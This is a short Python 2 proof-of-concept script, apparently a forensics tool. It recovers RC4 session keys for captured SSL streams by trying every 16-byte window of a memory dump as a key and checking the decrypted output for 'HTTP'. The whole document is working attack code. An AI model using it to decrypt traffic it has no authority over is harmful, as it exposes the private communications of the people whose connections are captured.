PoC Script for brute-forcing of RC4 SSL
Uses a memory dump as a source of candidate keys. SSL streams can be extracted using pyflag's tcptrace.py.
1 #!/usr/bin/env python
2 # script to attack SSL connections using a memory image as a source of
3 # candidate keys
4
5 import sys,os,struct
6 import Crypto.Cipher.ARC4 as RC4
7 import time
8 import sys
9
10 # usage: sslcrack.py stream dump [offset]
11
12 fd = open(sys.argv[1])
13
14 def read_chunk(fd):
15 format = "!BHH"
16 type, version, length = struct.unpack(format, fd.read(struct.calcsize(format)))
17 print type, version, length
18 data = fd.read(length)
19
20 return type, data, length
21
22 # Skip the initial (unencrypted) chunks, leaving the stream at the correct
23 # position. We use a Change Cipher Spec record of length 1 to signal the end of
24 # the unencrypted protocol.
25 while True:
26 type, data, length = read_chunk(fd)
27 if type==20 and length==1:
28 break
29
30 # The first chunk is an encrypted "Handshake Finished" message (size observed
31 # is 32 bytes) before the actual HTTP data begins.
32 ciphertext = ''
33 for i in range(0,2):
34 type,data,_ = read_chunk(fd)
35 ciphertext += data
36
37 # Truncate the ciphertext to speedup attempts. This could cause a failure to
38 # detect a key if the URL is longer than about 60 chars
39 ciphertext = ciphertext[:100]
40
41 # Try to decrypt a chunk, our indicator for success is to see the string
42 # "HTTP" in the plaintext since it appears in both HTTP requests and
43 # responses. Note that because this is only a 4 byte signature, you will get
44 # some false-positives.
45 def force(key):
46 rc4 = RC4.new(key)
47 plaintext = rc4.decrypt(ciphertext)
48 return "HTTP" in plaintext
49
50 fd = open(sys.argv[2])
51 if len(sys.argv) > 3:
52 fd.seek(int(sys.argv[3]))
53
54 # initialise the key with all zeros
55 key = "\x00" * 16
56
57 count = fd.tell()
58 t = time.time()
59
60 while 1:
61 if force(key):
62 print "Possible key found: %r" % key
63 rc4 = RC4.new(key)
64 print "data is: %s" % rc4.decrypt(ciphertext)[32:50]
65
66 key = key[1:] + fd.read(1)
67
68 count += 1
69 if (count % (1024 * 1024)) == 0:
70 print "%s in %s seconds" % (count, time.time() -t)
71 t = time.time()
